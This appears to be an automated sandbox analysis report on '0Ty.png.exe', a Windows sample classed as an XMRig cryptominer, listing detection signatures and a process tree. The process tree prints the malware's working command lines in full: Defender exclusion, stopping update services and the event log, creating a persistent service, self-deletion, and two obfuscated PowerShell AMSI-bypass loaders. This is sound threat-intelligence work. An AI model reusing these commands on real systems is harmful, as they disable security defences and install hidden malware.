Edit tour

Windows Analysis Report
0Ty.png.exe

Overview

General Information

Sample name:	0Ty.png.exe
Analysis ID:	1580691
MD5:	3cae1f11044d2ca787824610a40f1696
SHA1:	bf4af642f36e87b887f973f47a46bcb2e656c636
SHA256:	50ae56d020d35a747bdf32acbd7c9cc23f8a6827d19c5f32bb05d068acf47251
Tags:	exeuser-Jame
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Suricata IDS alerts for network traffic

Yara detected Xmrig cryptocurrency miner

.NET source code contains process injector

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Found suspicious powershell code related to unpacking or dynamic code loading

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Obfuscated command line found

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Self deletion via cmd or bat file

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential WinAPI Calls Via CommandLine

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Uses an obfuscated file name to hide its real file extension (double extension)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

0Ty.png.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\0Ty.png.exe" MD5: 3CAE1F11044D2CA787824610A40F1696)

powershell.exe (PID: 7428 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7656 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7740 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7664 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7756 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7808 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7856 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7904 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7952 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7960 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7976 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 8000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7992 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 8008 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

sc.exe (PID: 8048 cmdline: C:\Windows\system32\sc.exe delete "HGLZSDMZ" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 8176 cmdline: C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3704 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5356 cmdline: C:\Windows\system32\sc.exe start "HGLZSDMZ" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4076 cmdline: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 7312 cmdline: choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128)

dllhost.exe (PID: 8008 cmdline: C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

dllhost.exe (PID: 3228 cmdline: C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

powershell.exe (PID: 8168 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+'S'+'ta'+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JUWLrRiAryQvoCLvYRG=CKtjhrwjgtVV @([String])([IntPtr]);$QPnZYyCGLlinWBcTXIFRjN=CKtjhrwjgtVV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$nOTpineWwNN=$qragMIYqXnsdW.GetMethod(''+[Char](71)+'et'+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+'H'+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+'e'+''+[Char](108)+'32'+'.'+''+[Char](100)+''+[Char](108)+'l')));$GwiYeAsQvQLFBf=$OvDFGAtJneNnnn.Invoke($Null,@([Object]$nOTpineWwNN,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$crErzkRECYPPqZhPE=$OvDFGAtJneNnnn.Invoke($Null,@([Object]$nOTpineWwNN,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+[Char](80)+''+[Char](114)+'o'+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$XcrjNVu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GwiYeAsQvQLFBf,$JUWLrRiAryQvoCLvYRG).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$GgrwIxrHHMksBSkCM=$OvDFGAtJneNnnn.Invoke($Null,@([Object]$XcrjNVu,[Object](''+'A'+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+'B'+'u'+'f'+'f'+'e'+''+[Char](114)+'')));$mtiMskcCMz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($crErzkRECYPPqZhPE,$QPnZYyCGLlinWBcTXIFRjN).Invoke($GgrwIxrHHMksBSkCM,[uint32]8,4,[ref]$mtiMskcCMz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GgrwIxrHHMksBSkCM,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($crErzkRECYPPqZhPE,$QPnZYyCGLlinWBcTXIFRjN).Invoke($GgrwIxrHHMksBSkCM,[uint32]8,0x20,[ref]$mtiMskcCMz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'le'+[Char](114)+''+'s'+''+[Char](116)+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

weiuemyrzjra.exe (PID: 4280 cmdline: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe MD5: 3CAE1F11044D2CA787824610A40F1696)

powershell.exe (PID: 2308 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7648 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7708 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7556 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7700 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7656 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7800 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7812 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7860 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7896 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7884 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7916 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 7936 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 8136 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 8052 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

powershell.exe (PID: 7956 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFOOCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+'d'+'s');$BXLsZikXLBwiCU=$PIBnzpATGOiSb.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+'res'+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,St'+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PODdpwJbLVAeqmqHxFL=DwpcGqRaxEQb @([String])([IntPtr]);$yBpeaDKUEGooqcDLMYJxLn=DwpcGqRaxEQb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ckLkUNcHalt=$PIBnzpATGOiSb.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'H'+'a'+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+'dll')));$gtTuUeciWixJxL=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$ckLkUNcHalt,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+'Li'+[Char](98)+'r'+[Char](97)+'ryA')));$XRPINnzEnujTAspan=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$ckLkUNcHalt,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+'e'+''+'c'+''+'t'+'')));$DBzwtCM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gtTuUeciWixJxL,$PODdpwJbLVAeqmqHxFL).Invoke(''+[Char](97)+''+[Char](109)+'si'+'.'+''+[Char](100)+'ll');$DyCMYouZARyvvTbwm=$BXLsZikXLBwiCU.Invoke($Null,@([Object]$DBzwtCM,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+'a'+'n'+'B'+'u'+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$GgVQgYCQUN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XRPINnzEnujTAspan,$yBpeaDKUEGooqcDLMYJxLn).Invoke($DyCMYouZARyvvTbwm,[uint32]8,4,[ref]$GgVQgYCQUN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$DyCMYouZARyvvTbwm,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XRPINnzEnujTAspan,$yBpeaDKUEGooqcDLMYJxLn).Invoke($DyCMYouZARyvvTbwm,[uint32]8,0x20,[ref]$GgVQgYCQUN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+'l'+''+'e'+''+'r'+''+[Char](115)+''+'t'+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
